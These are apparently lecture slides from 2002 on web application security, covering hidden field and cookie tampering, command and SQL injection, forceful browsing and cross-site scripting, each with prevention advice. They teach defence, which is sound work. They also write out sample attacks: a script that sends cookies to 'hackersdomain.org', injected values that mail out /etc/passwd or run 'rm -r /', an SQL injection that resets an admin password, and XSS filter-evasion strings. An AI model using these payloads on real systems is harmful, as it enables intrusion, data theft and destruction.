Application Security

Bill ChuAugust 2002

Web applications Web applications is pervasive Customers love it! (e.g. driver

license renew, grade entry, banking, trading stocks, airline reservation, hotel reservation, buying books, library ….)

They are typically outside of fire walls

Anatomy of a web applicationSanctum systems

Data

DatabaseBackend systems

frontend systems

Web Server

User interface code

Valid Input

Browser

Custom code: e.g. html, forms, javascript

Off the shelf application: e.g. websphere

Custom code: e.g. servelet, jsp, asp

Applications: e.g. SAP, ORACLE

Applications: e.g. ORACLE, DB2

Web application threatsSanctum systems

Data

DatabaseBackend systems

frontend systems

Web Server

User interface code

Invalid inputCode Data

Browser

Code, Web server, Front end system, Back end system or database flaws resulting in unauthorized access of privileged accounts, the OS, network, or sensitive data and may result in denial of services.

Perfecto Technologies Survey

Perfecto Survey of Web Application Security Breaches

E-shopliftingFull accessexcute trxprivacy breachmodify infominorfull control

Hidden Field Manipulation Find vulnerable form with hidden

input Save HTML file to disk, modify

hidden input Execute HTML file from disk, submit

form Experience manipulated form

results

Hidden Field Manipulation Open the html page within HTML editor Locate the hidden field (e.g.,

“<type=hidden name=price value=99.95>”

Modify content (e.g., “<type=hidden name=price value=1.00>”

Save the html file locally and browse it Click buy button to perform electronic

shop lifting via hidden manipulation

Original HTML Form

Modified HTML Form

View Executed Results

View “/etc/passwd” file as modifed form requested Use Unix “crack” to break encrypted passwords Obtain access to root accounts

Prevention of Example Never trust hidden input values

Proved that it is easy to change values Never allow unsanitized inputs to be

used for viewing other files via script in this case we viewed /etc/passwd

instead of the normal guestbook results file

Parameter Tampering Find vulnerable form with

unchecked input Add malicious input to input form “Submit” form Gain unauthorized access

Parameter Tampering Failure to confirm the correctness of CGI

parameters embedded in a hyper link can be easily used to break the site security. For example, a search CGI may accept a “template” parameter

Search.exe?template=result.html&q=security

By replacing the template parameter, one may be able to obtain access to any file, e.g.

Search.exe?template=/etc/passwd&q=security

Input Malicious Values

Original / Attacked Account File

Newly created user

Injected user with admin priv.

Prevention of Example Always test all input parameters

for validity Length of input (checked on server

side, not <input size=xxx>) Strip input characters (e.g.: no ‘|’ ‘\n’,

etc)

Cookie Poisoning Many web applications use cookies in order to save

information (user id, time stamp, etc.) on the client's machine.

For example, when a user logs into many sites, a login web script validates his user name and password and sets a cookie with his numerical identifier.

When the user checks his preferences later, another web script (say, preferences.asp) retrieves the cookie and displays the user information records of the corresponding user.

Since cookies are not always cryptographically secure, a hacker can modify them by modifying the cookie file, thus fooling the application.

Cookie Poisoning Find web application which trusts

cookie data Modify cookie data Exploit

Hijack other sessions Grant privileges

Original Website

Cookie Modification

Gain Access of Other User

Prevention of Example Encrypt cookie contents Hash cookie contents (risky w/o

validation of session/user) Always validate user by checking the

session user was granted permissions

Store all data excluding session-id on server

Store session-id and hash in cookie

Stealth Commanding The use of server side executions (e.g. “eval” or “system” Perl

commands, SQL queries) enable someone to plant Trojan-horses in form submissions and run malicious or unauthorized commands

Take a postcard site as an example. The user fills in a postcard sending form, including the recipient name. The site then emails the recipient with the postcard. The CGI used for this purpose was written in Perl, and it had the following statement in it:

open (MAIL, "|$mailprog $recipient". It is easy to see how, by filling in the recipient field with "hacker@evil.org</etc/passwd," the hacker will be mailed the password file.

Shell commands can be executed as well by sending "x;rm -r /", deleting the entire site.

Forceful Browsing Forceful Browsing Web servers will send any file to a

user, as long as the user knows the file name and the file is not protected. Therefore, a hacker may exploit this security hole, and "jump" directly to pages. For example, :

A registration page had an HTML comment mentioning a file named "_private/customer.txt". Typing "http://www.xxx.com/_private/customer.txt" sent back all customers' information.

Appending "~" or ".bak" or ".old" to CGI names may send back an older version of the source code. For example, "www.xxx.com/cgi-bin/admin.jsp~" returns admin.jsp source code.

Debug Information Leakage Find Debug Code Experiment with debug code and

parameters Experience “Information Leakage”

Debug Script Example

Debug Script Information Leak

Backdoors and Debug Options Many applications contain code left for

debugging purposes, and some even contain code left by disgruntled employees.

In a certain site, parameter tampering with the session token produced a page saying "we lost you, please re-login."

That page presented a link for re-login which actually was a debug option. It logged in the hacker with no password required — furthermore, it logged in the hacker as the site's QA person.

Debug Information Leakage Find Debug Code Experiment with debug code and

parameters Experience “Information Leakage”

Debug Script Example

Debug Script Information Leak

Configuration Subversion Misconfiguring web servers and application

servers is a very common mistake. The most common misconfiguration is one that permits directory browsing.

Hackers can utilize this feature in order to browse the application's directories (such as cgi-bin/) by simply typing in the directory name.

In the case of a misconfigured ColdFusion application server, accessing /CFIDE/administrator/index.cfm will invoke an administrator console without requiring a password.

Vendor-assisted Hacking Because product vulnerabilities are

published quickly over the web today, and because installing the latest vendor patch usually is not a high-priority issue, it almost always is possible to exploit vulnerable products.

Secure Web programming techniques Do not trust client side data Hidden HTML form elements are not hidden Password form elements are still in the clear if not using SSL Use solid cryptographic algorithms Use trusted authentication mechanisms Re-authenticate before issuing password or executing critical

transactions Do not host uncontrolled data on a protected domain Never validate data client-side Sanity check and qualify all incoming data (e.g.)

If data is supposed to be only yes or no, through away other options Check range and other data integrity rules Check file paths Don’t use anything you don’t understand Pay particular attention to special characters (a major source of problems)

e.g. ../(directory traversal), & ? + (file grabbing), ; (command appending), > < ? (piping),

Cross-Site Scripting Most web browsers have the capability to interpret scripts embedded in web

pages downloaded from a web server. Such scripts may be written in a variety of scripting languages and are run by the client's browser. Most browsers are installed with the capability to run scripts enabled by default.

Sites that host discussion groups with web interfaces have long guarded against a vulnerability where one client embeds malicious HTML tags in a message intended for another client.

For example, an attacker might post a message like Hello message board. This is a message.

<SCRIPT>malicious code</SCRIPT>This is the end of my message.

When a victim with scripts enabled in their browser reads this message, the malicious code may be executed unexpectedly. Scripting tags that can be embedded in this way include <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.

When client-to-client communications are mediated by a server, site developers explicitly recognize that data input is untrustworthy when it is presented to other users. Most discussion group servers either will not accept such input or will encode/filter it before sending anything to other readers.

Cross-Site Scripting (XSS)Hacker: Locate web page with unchecked input Embed ‘poisoned link’ to web page or

embedding scriptsInnocent Victim: Follow ‘poisoned link’ or the scripts

executes upon page load Automatic execution of script Leakage of information (or worse!)

Distribute Poisoned Link

User Follows Poisoned Link

Real Attack Javascript ‘alert(“Hacked by

Pony”)’ would be changed Leak cookie data to hacker

Window.open(“http://hackersdomain.org/getvictimcookie?cookie=document.cookie”)

Prevention of Example

Web Server: Always sanitize input data Encrypt cookie dataUser: Turn off client-side scripting

Cross-site scripting examples “Slemko's idea was to combine cross-site scripting vulnerabilities with

the fact that, for up to 15 minutes after someone signs in to Hotmail, that person's authorization extends to every other Passport service, including Wallet. In this case, if a victim reads the specially crafted e-mail within 15 minutes of signing in, the code contained in the message retrieves all the person's cookies, bits of code that identify the user. The attacker can then use those cookies to access other services within those 15 minutes. “ -- Netnews.com Nov. 2001

Cross-site scripting allows hackers to run dangerous code within a Net user's browser or email client. By exploiting the vulnerability, "malicious users can fool other users' Web clients...which allows them to do things

such as stealing that client/server's cookies," Basically an attack on a Schwab user could allow the hacker to have access to all of the customer's account actions--such as buying and selling stocks or transferring funds while the customer was logged on to his account. -- Netnews.com Dec. 2000

Cross-Site Scripting Cont’d An attacker may construct a malicious link such as

<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT>malicious code</SCRIPT>"> Click here</A>

When an unsuspecting user clicks on this link, the URL sent to example.com includes the malicious code. If the web server sends a page back to the user including the value of mycomment, the malicious code may be executed unexpectedly on the client. This example also applies to untrusted links followed in email or newsgroup messages.

This actually have happened to reputable companies such as Microsoft, Schwab, (exmaple.com’s).

Abuse of other tags In addition to scripting tags, other HTML tags such as the <FORM> tag have

the potential to be abused by an attacker. For example, by embedding malicious <FORM> tags at the right place, an intruder can trick users into revealing sensitive information by modifying the behavior of an existing form.

Other HTML tags can also be abused to alter the appearance of the page, insert unwanted or offensive images or sounds, or otherwise interfere with the intended appearance and behavior of the page.

Cross-Site Scripting Cont’d SSL-Encrypted Connections May Be Exposed

The malicious script tags are introduced before the Secure Socket Layer (SSL) encrypted connection is established between the client and the legitimate server. SSL encrypts data sent over this connection, including the malicious code, which is passed in both directions. While ensuring that the client and server are communicating without snooping, SSL makes no attempt to validate the legitimacy of data transmitted.

Because there really is a legitimate dialog between the client and the server, SSL reports no problems. Malicious code that attempts to connect to a non-SSL URL may generate warning messages about the insecure connection, but the attacker can circumvent this warning simply by running an SSL-capable web server.

Attacks May Be Persistent Through Poisoned Cookies Once malicious code is executing that appears to have come from the

authentic web site, cookies may be modified to make the attack persistent. Specifically, if the vulnerable web site uses a field from the cookie in the dynamic generation of pages, the cookie may be modified by the attacker to include malicious code. Future visits to the affected web site (even from trusted links) will be compromised when the site requests the cookie and displays a page based on the field containing the code.

Cross-Site Scripting Cont’d Attacker May Access Restricted Web Sites from the

Client By constructing a malicious URL an attacker may be able to

execute script code on the client machine that exposes data from a vulnerable server inside the client's intranet.

The attacker may gain unauthorized web access to an intranet web server if the compromised client has cached authentication for the targeted server. There is no requirement for the attacker to masquerade as any particular system. An attacker only needs to identify a vulnerable intranet server and convince the user to visit an innocent looking page to expose potentially sensitive data on the intranet server.

Cross-Site Scripting Solutions Solutions for Users None of the solutions that web users can take are complete

solutions. In the end, it is up to web page developers to modify their pages to eliminate these types of problems.

However, web users have two basic options to reduce their risk of being attacked through this vulnerability. The first, disabling scripting languages in their browser, provides the most protection but has the side effect for many users of disabling functionality that is important to them. Users should select this option when they require the lowest possible level of risk.

The second solution, being selective about how they initially visit a web site, will significantly reduce a user's exposure while still maintaining functionality. Users should understand that they are accepting more risk when they select this option, but are doing so in order to preserve functionality that is important to them.

Cross-Site Scripting Solution Web site administrators and

developers can prevent their sites from being abused in conjunction with this vulnerability by ensuring that dynamically generated pages do not contain undesired tags.

Dangerous HTML tags <APPLET> <BODY> <EMBED> <FRAME> <FRAMESET> <IFRAME> <ILAYER>

•<META>

•<OBJECT>

•<SCRIPT>

•<STYLE>

•<SRC>

•<HREF>

•<TYPE>

Script filtering considerations Replace all “script” tags <IMG SRC=“javascript:…”>, replace “javascript” string in all SRC &

HREF attributes <IMG SRC=“javas

cript:…>, filter white spaces before key work string search <IMG SRC=“javasc&#09;ript:…>, many other characters will work

also! Filter these characters before the key word search. <style TYPE=“text/javascript”> JS EXPRESSIOn </style>, replace all

“javascript” with “java_script” <STYLE type=text/css> @import url(http://server/very_bad.css);

</style>. Filter and replace @import <P STYLE=“left:expression(eval(“…”));>, Filter left:, expression and

eval <IMG SRC=“java<xxx>script:…> if <xxx> were to be removed,

replace, don’t remove

Cross-site scripting cont’d XML and SOAP are going to

increase these issues

Filter bypassing Client-side scripting attacks

requires the execution of Javascript, Java, VBScript, ActiveX, Flash etc.

Assume web applications accept HTML

Cookie authentication guidelines Use SSL for username/password authentication Do not store plain text or weakly encrypted password in a cookie The cookie should not be re-used or re-used easily by another person Password or other confidential info should not be able to be extracted

from the cookie Cookie authentication credential should NOT be valid for an over

extended length of times Set up “booby trapped” session tokens that never actually get

assigned but will detect if an attacker is trying to brute force a range of tokens.

(Whenever possible) Tie cookie authentication to an IP address (part or all of the IP address)

Adding “salt” to your cookie (e.g. hashed http header of a particular browser, MAC address)

Re-authenticate whenever critical decisions are made Over write tokens upon logout.

Re-password authentication When performing a critical action:

Use password re-confirmation before the action is carried out

YES or NO button to confirm if the action is what was intended

This prevents malicious scripts from quickly sending a CGI request and have an entire database cleared of its contents.

Direct SQL commands Example: Changing SQL values

UPDATE usertable SET pwd=‘$INPUT[pwd]’ WHERE uid=‘$INPUT[uid]’;

Normal input: http://www.victim.com/cpwd?opwd=y&pwd=x&uid=testuser

Malicious input: http://www.victim.com/cpwd?opwd=y&pwd=x&uid=testuser’+or+uid+like’%25admin%25’;

Result: changed administrative password. Mitigation: validate input

URL manipulation Valid transaction: http://www.victim.com/tx?acctnum

=12&debitamt=100 Malicious transaction: http://www.victim.com/tx?acctnum

=12&creditamt=1000000 Mitigation: whenever parameters

are sent, check session token

Back doors Debugging options Comments Default accounts Remote administration options